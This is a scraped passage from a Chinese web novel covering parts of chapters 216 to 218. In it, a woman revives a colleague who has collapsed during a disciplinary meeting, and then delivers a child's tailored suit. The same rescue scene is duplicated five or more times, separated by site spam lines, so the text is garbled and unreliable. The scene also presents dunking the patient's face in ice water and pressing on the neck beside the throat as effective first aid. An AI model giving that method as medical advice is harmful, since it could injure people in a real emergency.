屋里乱成一团有人想上前扶又怕碰坏了。 周淑华蜷在地上身体痛苦地抽搐大口喘着粗气额头上豆大的冷汗滚下来看着极其吓人。 很快警卫员挂了电话脸都急白了。 “报告**!医院说救护车刚出去接一个心脏病突发的最快也得十五分钟才能到咱这儿!” “十五分钟?!” **眉头紧皱看着地上周淑华越来越差的脸色当机立断: “开车!用军区的车送!” “**…” 底下人苦着脸 “今天大**要来开会所有小车都派出去了一时半会儿…调不出车啊!” “那怎么办?总不能干看着!” 有人急得跺脚。 “那…那林瑶!林瑶不是医生吗?快把她弄回来!” 有人急中生智喊了一嗓子。 第216章 但眼下,救命要紧 刚被押到门口的林瑶又被拖了回来,她自己也吓得够呛,看着周淑华那副吓人的模样,腿肚子直转筋。 **王**像是抓住了救命稻草,指着地上的周淑华急吼。 “快!林瑶!你不是医学院毕业的吗?赶紧看看周主任!” 林瑶被推搡到周淑华跟前,看着那张痛苦扭曲的脸,吓得直往后缩。 她哪会看这个? 上大学时就顾着臭美攀比,书本没翻几页,考试全靠**。 到了军区医院实习,医生和实习的同学嫌她草包,怕她草菅人命,啥正经活都不让她沾。 她哆哆嗦嗦蹲下去,装模作样地在周淑华心口按了两下。 “呃啊——!” 周淑华被她按得猛地一挺,发出一声更凄厉的痛呼,眼睛翻白,眼看着就要背过气去! “混账东西!你到底会不会?!” **气得差点拍桌子, “你这是救人还是**?!” 林瑶吓得“噗通”坐在地上,哭丧着脸,话都说不利索了: “我…我真不会…我在医院…他们…他们都不让我碰病人…我…我不知道啊…” “赶紧把她带下去!” **不耐烦地摆了摆手。 满屋子人脸色铁青,急得像热锅上的蚂蚁,围着气若游丝的周淑华,束手无策。 “要不…让我试试?” 一个清亮镇定的声音响起,不大,却像定海神针,瞬间压住了满屋的嘈杂。 是周柒柒。 所有人的目光“唰”地集中到她身上,充满惊疑。 **看着她,眼神复杂,但眼下火烧眉毛,也顾不得许多了,尽量放缓了语气问。 “周柒柒同志?你也懂医?” 周柒柒摇摇头,语速清晰。 “不懂。但我爸以前也有这毛病,一模一样的心风症。发作时,我妈就给他处理一下,每次都能缓过来不少,我妈把这个法子也教给我了。” 她看着周淑华青紫的脸和急促的喘息,眼神坚定道。 “再拖下去,怕是不好,我可以试试帮她处理一下。” 和周淑华是老同学的**不乐意了。 “学医的都不懂,你一个啥也 不会的农村妇女,懂什么啊?别是想报复周主任吧?” 他挑了挑眉,“你和她非亲非故的,万一出啥事了,你能负责吗?” 沈淮川毫不犹豫地站到周柒柒身边,出声支持。 “周主任是我的师母,如果出了什么事,我沈淮川一力承担!” **看着周淑华越来越差的状况,一咬牙:“好!你试试!需要什么?” 周柒柒毫不迟疑,撸起袖子,立刻指挥了起来, 她先是看向沈淮川的勤务兵。 “秦磊!你立刻去打一盆凉水来,越凉越好!再找条干净毛巾!” “后院有口井!我知道地方!我带他去!” 说全网首发无弹窗免费阅读caixs⊙(请来才小 说 看最新章节 完整章节) 之前帮周柒柒说过话的那位委员立刻站出来。 **也吼自己秘书:“快!去我办公室,柜子里有新毛巾!跑步去!” 人一下子散开,动作飞快。 周柒柒又指挥剩下的几个男同志。 “快!把人平抬到会议桌上!脸朝下,脖子这里要空出来!” 沈淮川第一个冲上去,二话不说托住周淑华的肩膀。 其他人也七手八脚地帮忙,把瘫软的周淑华小心地抬上了宽大的会议桌,脸朝下趴着,脖子那块特意垫空了些。 很快,秦磊端着一个大号的洋瓷脸盆冲了进来,盆里水花四溅,刚汲上来的井水还泛着刺骨的白汽。 **的秘书也气喘吁吁地举着一条崭新的白毛巾。 周柒柒接过毛巾浸透冰凉的井水,拧了个半干。 她走到桌边,对沈淮川说:“淮川,端稳盆。” 沈淮川二话不说,稳稳端住那盆冰水。 只见周柒柒一手用湿毛巾飞快地擦拭周淑华的额头和后颈,另一只手稳稳托住她的后脑勺。 然后,在所有人惊愕的目光中,她竟托着周淑华的头,猛地将那整张痛苦扭曲的脸,浸入了盛满冰冷井水的脸盆里! 同时,她按住周淑华后颈的手微微用力,确保她的口鼻完全没入水中! “啊!这…这干什么!”副 **王**失声叫出来,脸都白了, “胡闹!这是救人还是害人!周柒柒你负得起这个责吗!” “是啊!没见过这么救人的!” 旁边也有人附和,满脸惊疑。 沈淮川眼神如刀,狠狠剜了王**一眼。 他双臂稳如磐石地端着盆,低喝:“闭嘴!让柒柒弄! 冰冷刺骨的井水包裹住头脸,周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸,眼睛死死盯着那浸在水里的脑袋。 十秒一到,周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——! 周淑华爆发出惊天动地的呛咳,大口大口地喘着粗气。 她脸上的青紫褪去了一点,眼皮也艰难地掀开了一条缝,但眼神还是涣散的,胸口剧烈起伏。 手死死揪着自己心口的衣服,喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌… 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边? 她一边问,一边迅速将周淑华半扶起来,让她靠在自己怀里,头微微偏向她手指着的右侧。 然后,在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指,并拢,指尖轻轻落在周淑华脖子侧面,下颌角下方约莫两三指宽的地方,也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动,动作轻柔却带着一种奇异的节奏,开始按压! 按下去几秒,松开,再按下去…… “这…这又是什么怪法子… 副**还想说什么,被**一个严厉的眼神制止了。 周柒柒全神贯注,指尖感受着那跳动的频率,心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后,周淑华揪着胸口的手渐渐松了点,急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦,但脸上那层骇人的死气消散了,眼神也清明了些,能聚焦了。 “呼…呼… 她靠在周柒柒怀里,像条离水的鱼终于回到了水里,贪婪地呼吸着。 虽然胸口还闷痛,但那股子要憋死过去的劲儿,总算是缓过来了。 就在这当口,门外传来急促的脚步声和喊声:“车来了!车回来了! 去接大**的车终于回来了一辆,被紧急调了过来。 “快!快送医院!**长舒一口气,立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华,又看看**,迟疑地问: “**,那周淑华同志的问题…这处理… **眉头紧锁,正要开口,一直扶着周淑华的周柒柒抬起了头,她的脸色也有些发白,额角带着汗,声音平静却清晰。 “**,人命关天。她是犯了错,该处理。但眼下,救命要紧。我…我等着组织的结论。 她这话,把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她,又看看被抬走的周淑华,深深地点了点头,沉声道: “先救人。是非曲直,组织会查清楚,该处理的,一个也跑不了! 人群涌动着离开会议室,留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边,紧紧握住了她有些冰凉的手。 周柒柒靠着他,长长地、无声地吐出一口气。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 旁边也有人附和满脸惊疑。 沈淮川眼神如刀狠狠剜了王**一眼。 他双臂稳如磐石地端着盆低喝:“闭嘴!让柒柒弄!” 冰冷刺骨的井水包裹住头脸周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸眼睛死死盯着那浸在水里的脑袋。 十秒一到周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——!” 周淑华爆发出惊天动地的呛咳大口大口地喘着粗气。 她脸上的青紫褪去了一点眼皮也艰难地掀开了一条缝但眼神还是涣散的胸口剧烈起伏。 手死死揪着自己心口的衣服喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌…” 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边?” 她一边问一边迅速将周淑华半扶起来让她靠在自己怀里头微微偏向她手指着的右侧。 然后在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指并拢指尖轻轻落在周淑华脖子侧面下颌角下方约莫两三指宽的地方也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动动作轻柔却带着一种奇异的节奏 按下去几秒松开再按下去…… “这…这又是什么怪法子…” 副**还想说什么被**一个严厉的眼神制止了。 周柒柒全神贯注指尖感受着那跳动的频率心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后周淑华揪着胸口的手渐渐松了点急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦但脸上那层骇人的死气消散了眼神也清明了些能聚焦了。 “呼…呼…” 她靠在周柒柒怀里像条离水的鱼终于回到了水里贪婪地呼吸着。 虽然胸口还闷痛但那股子要憋死过去的劲儿总算是缓过来了。 就在这当口门外传来急促的脚步声和喊声:“车来了!车回来了!” 去接大**的车终于回来了一辆被紧急调了过来。 “快!快送医院!”**长舒一口气立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华又看看**迟疑地问: “**那周淑华同志的问题…这处理…” **眉头紧锁正要开口一直扶着周淑华的周柒柒抬起了头她的脸色也有些发白额角带着汗声音平静却清晰。 “**人命关天。她是犯了错该处理。但眼下救命要紧。我…我等着组织的结论。” 她这话把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她又看看被抬走的周淑华深深地点了点头沉声道: “先救人。是非曲直组织会查清楚该处理的一个也跑不了!” 人群涌动着离开会议室留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边紧紧握住了她有些冰凉的手。 周柒柒靠着他长长地、无声地吐出一口气。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 旁边也有人附和,满脸惊疑。 沈淮川眼神如刀,狠狠剜了王**一眼。 他双臂稳如磐石地端着盆,低喝:“闭嘴!让柒柒弄!” 冰冷刺骨的井水包裹住头脸,周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸,眼睛死死盯着那浸在水里的脑袋。 十秒一到,周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——!” 周淑华爆发出惊天动地的呛咳,大口大口地喘着粗气。 她脸上的青紫褪去了一点,眼皮也艰难地掀开了一条缝,但眼神还是涣散的,胸口剧烈起伏。 手死死揪着自己心口的衣服,喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌…” 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边?” 她一边问,一边迅速将周淑华半扶起来,让她靠在自己怀里,头微微偏向她手指着的右侧。 然后,在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指,并拢,指尖轻轻落在周淑华脖子侧面,下颌角下方约莫两三指宽的地方,也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动,动作轻柔却带着一种奇异的节奏,开始按压! 按下去几秒,松开,再按下去…… “这…这又是什么怪法子…” 副**还想说什么,被**一个严厉的眼神制止了。 周柒柒全神贯注,指尖感受着那跳动的频率,心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后,周淑华揪着胸口的手渐渐松了点,急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦,但脸上那层骇人的死气消散了,眼神也清明了些,能聚焦了。 “呼…呼…” 她靠在周柒柒怀里,像条离水的鱼终于回到了水里,贪婪地呼吸着。 虽然胸口还闷痛,但那股子要憋死过去的劲儿,总算是缓过来了。 就在这当口,门外传来急促的脚步声和喊声:“车来了!车回来了!” 去接大**的车终于回来了一辆,被紧急调了过来。 “快!快送医院!”**长舒一口气,立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华,又看看**,迟疑地问: “**,那周淑华同志的问题…这处理…” **眉头紧锁,正要开口,一直扶着周淑华的周柒柒抬起了头,她的脸色也有些发白,额角带着汗,声音平静却清晰。 “**,人命关天。她是犯了错,该处理。但眼下,救命要紧。我…我等着组织的结论。” 她这话,把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她,又看看被抬走的周淑华,深深地点了点头,沉声道: “先救人。是非曲直,组织会查清楚,该处理的,一个也跑不了!” 人群涌动着离开会议室,留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边,紧紧握住了她有些冰凉的手。 周柒柒靠着他,长长地、无声地吐出一口气。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 旁边也有人附和,满脸惊疑。 沈淮川眼神如刀,狠狠剜了王**一眼。 他双臂稳如磐石地端着盆,低喝:“闭嘴!让柒柒弄!” 冰冷刺骨的井水包裹住头脸,周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸,眼睛死死盯着那浸在水里的脑袋。 十秒一到,周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——!” 周淑华爆发出惊天动地的呛咳,大口大口地喘着粗气。 她脸上的青紫褪去了一点,眼皮也艰难地掀开了一条缝,但眼神还是涣散的,胸口剧烈起伏。 手死死揪着自己心口的衣服,喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌…” 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边?” 她一边问,一边迅速将周淑华半扶起来,让她靠在自己怀里,头微微偏向她手指着的右侧。 然后,在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指,并拢,指尖轻轻落在周淑华脖子侧面,下颌角下方约莫两三指宽的地方,也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动,动作轻柔却带着一种奇异的节奏,开始按压! 按下去几秒,松开,再按下去…… “这…这又是什么怪法子…” 副**还想说什么,被**一个严厉的眼神制止了。 周柒柒全神贯注,指尖感受着那跳动的频率,心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后,周淑华揪着胸口的手渐渐松了点,急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦,但脸上那层骇人的死气消散了,眼神也清明了些,能聚焦了。 “呼…呼…” 她靠在周柒柒怀里,像条离水的鱼终于回到了水里,贪婪地呼吸着。 虽然胸口还闷痛,但那股子要憋死过去的劲儿,总算是缓过来了。 就在这当口,门外传来急促的脚步声和喊声:“车来了!车回来了!” 去接大**的车终于回来了一辆,被紧急调了过来。 “快!快送医院!”**长舒一口气,立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华,又看看**,迟疑地问: “**,那周淑华同志的问题…这处理…” **眉头紧锁,正要开口,一直扶着周淑华的周柒柒抬起了头,她的脸色也有些发白,额角带着汗,声音平静却清晰。 “**,人命关天。她是犯了错,该处理。但眼下,救命要紧。我…我等着组织的结论。” 她这话,把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她,又看看被抬走的周淑华,深深地点了点头,沉声道: “先救人。是非曲直,组织会查清楚,该处理的,一个也跑不了!” 人群涌动着离开会议室,留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边,紧紧握住了她有些冰凉的手。 周柒柒靠着他,长长地、无声地吐出一口气。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 旁边也有人附和,满脸惊疑。 沈淮川眼神如刀,狠狠剜了王**一眼。 他双臂稳如磐石地端着盆,低喝:“闭嘴!让柒柒弄! 冰冷刺骨的井水包裹住头脸,周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸,眼睛死死盯着那浸在水里的脑袋。 十秒一到,周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——! 周淑华爆发出惊天动地的呛 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几轮按压之后,周淑华揪着胸口的手渐渐松了点,急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦,但脸上那层骇人的死气消散了,眼神也清明了些,能聚焦了。 “呼…呼… 她靠在周柒柒怀里,像条离水的鱼终于回到了水里,贪婪地呼吸着。 虽然胸口还闷痛,但那股子要憋死过去的劲儿,总算是缓过来了。 就在这当口,门外传来急促的脚步声和喊声:“车来了!车回来了! 去接大**的车终于回来了一辆,被紧急调了过来。 “快!快送医院!**长舒一口气,立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华,又看看**,迟疑地问: “**,那周淑华同志的问题…这处理… **眉头紧锁,正要开口,一直扶着周淑华的周柒柒抬起了头,她的脸色也有些发白,额角带着汗,声音平静却清晰。 “**,人命关天。她是犯了错,该处理。但眼下,救命要紧。我…我等着组织的结论。 她这话,把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她,又看看被抬走的周淑华,深深地点了点头,沉声道: “先救人。是非曲直,组织会查清楚,该处理的,一个也跑不了! 人群涌动着离开会议室,留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边,紧紧握住了她有些冰凉的手。 周柒柒靠着他,长长地、无声地吐出一口气。 你的朋友正在书荒,快去帮帮他吧 旁边也有人附和 沈淮川眼神如刀狠狠剜了王**一眼。 他双臂稳如磐石地端着盆低喝:“闭嘴!让柒柒弄!” 冰冷刺骨的井水包裹住头脸周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸眼睛死死盯着那浸在水里的脑袋。 十秒一到周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——!” 周淑华爆发出惊天动地的呛咳大口大口地喘着粗气。 她脸上的青紫褪去了一点眼皮也艰难地掀开了一条缝但眼神还是涣散的胸口剧烈起伏。 手死死揪着自己心口的衣服喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌…” 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边?” 她一边问一边迅速将周淑华半扶起来让她靠在自己怀里头微微偏向她手指着的右侧。 然后在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指并拢指尖轻轻落在周淑华脖子侧面下颌角下方约莫两三指宽的地方也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动动作轻柔却带着一种奇异的节奏开始按压! 按下去几秒松开再按下去…… “这…这又是什么怪法子…” 副**还想说什么被**一个严厉的眼神制止了。 周柒柒全神贯注指尖感受着那跳动的频率心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后周淑华揪着胸口的手渐渐松了点急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦但脸上那层骇人的死气消散了眼神也清明了些能聚焦了。 “呼…呼…” 她靠在周柒柒怀里像条离水的鱼终于回到了水里贪婪地呼吸着。 虽然胸口还闷痛但那股子要憋死过去的劲儿总算是缓过来了。 就在这当口门外传来急促的脚步声和喊声:“车来了!车回来了!” 去接大**的车终于回来了一辆被紧急调了过来。 “快!快送医院!”**长舒一口气立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华又看看**迟疑地问: “**那周淑华同志的问题…这处理…” **眉头紧锁正要开口一直扶着周淑华的周柒柒抬起了头她的脸色也有些发白额角带着汗声音平静却清晰。 “**人命关天。她是犯了错该处理。但眼下救命要紧。我…我等着组织的结论。” 她这话把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她又看看被抬走的周淑华深深地点了点头沉声道: “先救人。是非曲直组织会查清楚该处理的一个也跑不了!” 人群涌动着离开会议室留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边紧紧握住了她有些冰凉的手。 周柒柒靠着他长长地、无声地吐出一口气。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 旁边也有人附和,满脸惊疑。 沈淮川眼神如刀,狠狠剜了王**一眼。 他双臂稳如磐石地端着盆,低喝:“闭嘴!让柒柒弄! 冰冷刺骨的井水包裹住头脸,周淑华的身体剧烈地抽搐了一下。 周柒柒心里默数着:一、二、三……十! 时间仿佛凝固了。 所有人都屏住了呼吸,眼睛死死盯着那浸在水里的脑袋。 十秒一到,周柒柒猛地将周淑华的头抬离水面! “咳!咳咳咳——! 周淑华爆发出惊天动地的呛咳,大口大口地喘着粗气。 她脸上的青紫褪去了一点,眼皮也艰难地掀开了一条缝,但眼神还是涣散的,胸口剧烈起伏。 手死死揪着自己心口的衣服,喉咙里发出痛苦的呻吟:“疼…心口…疼**…憋…憋得慌… 醒了!但还没脱险! 周柒柒立刻追问:“哪边疼得厉害?左边还是右边? 她一边问,一边迅速将周淑华半扶起来,让她靠在自己怀里,头微微偏向她手指着的右侧。 然后,在众人更加惊疑不定的注视下—— 周柒柒伸出右手食指和中指,并拢,指尖轻轻落在周淑华脖子侧面,下颌角下方约莫两三指宽的地方,也就是喉结旁边。 她指尖感受着皮肤下微弱的搏动,动作轻柔却带着一种奇异的节奏,开始按压! 按下去几秒,松开,再按下去…… “这…这又是什么怪法子… 副**还想说什么,被**一个严厉的眼神制止了。 周柒柒全神贯注,指尖感受着那跳动的频率,心里默数着按压的秒数。 汗水顺着她的鬓角滑下来。 几轮按压之后,周淑华揪着胸口的手渐渐松了点,急促的喘息也慢慢平复了一些。 虽然还是虚弱痛苦,但脸上那层骇人的死气消散了,眼神也清明了些,能聚焦了。 “呼…呼… 她靠在周柒柒怀里,像条离水的鱼终于回到了水里,贪婪地呼吸着。 虽然胸口还闷痛,但那股子要憋死过去的劲儿,总算是缓过来了。 就在这当口,门外传来急促的脚步声和喊声:“车来了!车回来了! 去接大**的车终于回来了一辆,被紧急调了过来。 “快!快送医院!**长舒一口气,立刻指挥人小心抬周淑华。 负责记录的委员看着被抬出去的周淑华,又看看**,迟疑地问: “**,那周淑华同志的问题…这处理… **眉头紧锁,正要开口,一直扶着周淑华的周柒柒抬起了头,她的脸色也有些发白,额角带着汗,声音平静却清晰。 “**,人命关天。她是犯了错,该处理。但眼下,救命要紧。我…我等着组织的结论。 她这话,把自己被诬告的委屈和眼前救人的急迫都摆在了明处。 **看着她,又看看被抬走的周淑华,深深地点了点头,沉声道: “先救人。是非曲直,组织会查清楚,该处理的,一个也跑不了! 人群涌动着离开会议室,留下满地狼藉和那盆还泛着寒气的井水。 沈淮川走到周柒柒身边,紧紧握住了她有些冰凉的手。 周柒柒靠着他,长长地、无声地吐出一口气。 你的朋友正在书荒,快去帮帮他吧 第217章 送礼服 这件事事发突然,结束的也有点突兀。 前前后后折腾好几回,要不是她跟沈淮川早有防备,今儿这盆脏水怕是真要泼得满身都是,洗都洗不清。 沈淮川赶忙开口问道,“没事吧?” 一边问,还一边拿出手帕,轻轻替她擦了擦。 “没事儿。” 周柒柒摇了摇头。 刚才救周淑华那会儿,她心都提到嗓子眼了,手脚并用的,这会儿额头上全是汗珠子,顺着鬓角往下滑,把耳后都浸得湿漉漉的。 沈淮川的声音压得低,尾音里还裹着点没散去的后怕,跟刚才在纪委**面前寸步不让的硬气模样比,简直像换了个人。 周柒柒脑子里又蹦出他刚才那句话——? “什么前途地位?在我爱人面前,一文不值!” 就觉得心跳得厉害。 “爱人”这词儿虽说老派,可从他嘴里出来,直愣愣的,带着股子豁出去的认真劲儿,烧得她脸颊发烫。 沈淮川瞅着她脸红得跟熟透的苹果似的,眉头又拧起来,追问:“真没事?” “真没事儿!” 周柒柒把脸埋得更低,不敢看他眼里的焦灼,但却是看到了手腕间的手表,眉头微微拧了起来。 “糟了!说好九点到卓家送衣服的,这都十一点多了!” 沈淮川也皱眉,“师部年底大比武,一堆事等着处理,我也是被硬拽过来的,得赶紧回。” “那你快去吧!” 周柒柒伸手推他胳膊,又想起什么似的,补充道,“中午还回来吃饭不?” 最近军区那帮老爷们都忙着年底大比武,累得跟拉磨的驴似的。 大多人懒得折腾,中午就在军区食堂对付一口,吃完往宿舍一躺,省得来回跑。 可沈淮川不一样,不管多晚多累,每天中午都雷打不动地往家赶,就为了陪她和舟舟吃顿热乎饭,吃完扒拉两口就又往部队赶。 不过今儿看样子是不成了,沈淮川叹口气:“悬,一堆训练总结等着签字呢。” “那行,正好我今儿也赶不上做饭了,待会儿让莹莹帮着接下舟舟。” 秦磊把车停在家属院门口,周柒柒推开车门就跳下去,手在车玻璃上拍了两下:“走了 啊!” 人已经跟一阵风似的冲进院子里了。 她手脚麻利地打了盆水洗了把脸,换了身新套装,抓起装礼服的布袋子就往隔壁朱莹莹家冲,“砰砰砰”地砸门。 朱莹莹正趴在桌上对着外文资料犯愁呢,被这急促的敲门声吓了一跳。 “咋了柒柒?脸咋这么白?出啥事儿了?” 朱莹莹赶紧往旁边让,让她进来。 “嗨,还不是林瑶和许树那俩搅屎棍,又找事儿!这回闹得大,直接捅到纪委去了,告我‘破坏军婚’!” 周柒柒一屁股坐在椅子上,端起桌上的搪瓷缸子就猛灌了两口。 “破坏军婚”这四个字跟炸雷似的,把朱莹莹吓得手里的笔“啪嗒”掉在桌上: “啊?这……这怎么可能?你别怕,我去给你作证去!” 说着就要往外冲,周柒柒赶紧伸手拽住她胳膊: “哎呀,你平时最文静的人,今儿咋也这么风风火火的?” 朱莹莹这才停下脚,急得脸都红了:“这都啥时候了,我能不急吗?” “事儿已经了了,他俩都被带走了,以后怕是再也不能出现在军属区了。” 周柒柒把她按回椅子上, “不过这事儿说来话长,下午回来我再跟你细掰扯,我这会儿找你是有别的事。” 朱莹莹这才松了口气,拍着胸口顺气: “你这丫头,吓我一跳。啥事啊?” “想让你中午帮我接下舟舟,带她吃口饭。我早上本来就有事,被那俩货一耽误,现在得赶紧过去,中午肯定赶不回来了。” 周柒柒说着从兜里掏出一沓饭票,数了十几张往朱莹莹手里塞。 她知道朱莹莹不会做饭,两口子一日三餐都是在食堂解决的,这饭票估摸着没多余的。 “哎呀,不用不用!” 朱莹莹手忙脚乱地往回推,“你给我这么多票干啥?舟舟又不是小猪崽,哪吃得了这么多!” “再说了,今儿翠香姐家也是,两口子都临时有事,俩小子中午没人管,刚把向阳向海带过来,塞给我一大把票,让我中午一块儿带着吃。多舟舟一个娃儿,就是添双筷子的事儿,票够够的,你放心!” 朱莹莹是打心眼儿里喜欢孩子 一说起那几个小家伙眼睛里都闪着光 周柒柒一听也不跟她客气了把饭票揣回兜里. “那成!麻烦你了啊!下午回来我再跟你好好说道说道。” 话音没落人已经冲到门口利落地推出那辆凤凰牌自行车腿一跨脚一蹬利落地朝着城里的方向飞驰而去。 心里惦记着迟到的事儿周柒柒脚下跟踩了风火轮似的蹬得飞快车链子都快磨出火星子了。 紧赶慢赶终于到了卓家小院门口。 敲开门时墙上的挂钟刚过十二点。 卓妈妈开了门周柒柒赶紧解释: “对不住对不住来晚了临时遇上点事没耽误您家事儿吧?” 卓妈妈瞅着她脑门上亮晶晶的汗珠子就知道她是一路赶过来的脸上半点责怪的意思都没有反倒笑得热乎: “快进来快进来!没事儿这两天我都在家歇着呢不耽误啥。” 迎着周柒柒到客厅果盘啥的都是提前准备好了的她给倒了杯热茶笑道。 “再说了你这会儿过来倒也正好待会儿光明放学回来正好能试试人在这儿有不合适的地方改起来也方便不是?你先喝水。” “不喝了不喝了。” 周柒柒知道正事要紧摆了摆手小心地从袋子里取出那套精心缝制的小礼服。 挺阔的小西装领衬衫配着背带短裤裤脚微微外扩。 既精神又透着一股少年的活泼气质。 最妙的是衬衫领尖上那两个精巧的月牙图案是周柒柒最拿手的苏式双面绣针脚细得跟头发丝似的在太阳底下一看闪着细碎的光精致得让人挪不开眼。 不光是领尖连背带的扣环都 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卓妈妈围着儿子转了一圈,满意地直点头。 “瞧瞧!这腰身,这裤长,这肩膀,没有一处不合身的!周师傅,你这手艺真是绝了!这心思也巧! 周柒柒倒没觉得多意外,她对自己的手艺和眼光,向来有把握。 卓妈妈转身从屋里拿出个布包,打开来,里面是六张大团结,正要递过来,又顿了。 往包里摸了摸,又多抽了两张出来,一起往周柒柒手里塞。 “卓妈妈,您这是干啥?当初咱们说好六十块钱的。 周柒柒赶紧往后退,不肯接。 卓妈妈硬是把钱往她手里塞: “嗨,友谊商店那些外贸小礼服,跟你这比起来差远了,都要八十块呢!你这手艺,八十块都给少了!这钱你必须拿着! 周柒柒摇着头往后躲,语气温和却透着股坚决: “说好了是多少就是多少,一分钱我都不会多拿的。 “不行不行!这钱你必须得拿着! 卓妈妈也较上劲了。 两人正推搡着,周柒柒不得不板起脸: “卓妈妈,您要是这样,那我就把这小礼服拿走了,到时候您多少钱都买不着了。 卓母看她态度坚决,知道再争下去也没用,只好笑着作罢: “行行行,那我不和你争了。不过这会儿都到饭点了,你说什么也得在家里吃顿便饭吧。 周柒柒连忙摆手: “不了不了,还有事儿呢,早上被那事一耽搁,这会儿好多事等着处理,实在不赶趟了。 卓母见她确实面露难色,也不好再留,只好连声道谢。 “那行那行,周师傅你忙,真是辛苦你跑这一趟!那咱们明天下午见!明天我还有重要的事儿和你说! 明天就是卓光明的生日了。 “好!明天下午见! 周柒柒笑着又摸了摸卓光明的头,跟母子俩道了别,转身又骑着自行车匆匆忙忙地赶回去了。 第218章 不爱吃水果糖 清脆的自行车铃声一路响着出了批发市场。 周柒柒先拐去了国营饭店。 玻璃柜台里油光锃亮的红烧肉和翠生生的炒青菜勾人食欲她利索地掏钱票打包了两个饭盒小心地挂在车把上直奔批发市场李萍的档口。 正是午饭点儿档口里人不多。 李萍和赵大梅正围着小方桌吃饭桌上竟摆着五个菜荤素搭配看着挺丰盛。 李萍眼尖瞧见周柒柒进来筷子一放拍着微凸的肚子就笑: “哎哟我的救星!你可算来了!快快上桌!国强今天又抽风一口气送来仨菜他自己厂里忙得脚打后脑勺一口没吃上光堆给我们了!我和大梅看着这满桌子菜愁得慌!” 旁边赵大梅脸上飞起两朵红云埋头扒饭没吭声。 李萍妈端着碗刚从后面出来见状也笑呵呵地招呼: “柒柒来了?正好还没吃吧?快坐下我去给你盛饭!” 说着就要转身。 周柒柒忙把手里的饭盒提起来:“等等婶子我还带了菜的!” “带啥带!” 李萍一把将她按在板凳上 “你那俩菜留着下午吃!瞅瞅这儿再不帮忙吃都得喂泔水桶!国强这是要把大梅当猪喂啊!” 她说着故意朝赵大梅挤挤眼。 赵大梅脸更红了 “嘿!刚才那阵儿忙得脚不沾地他放下就走我追都追不上!” 李萍夹了块肉塞嘴里 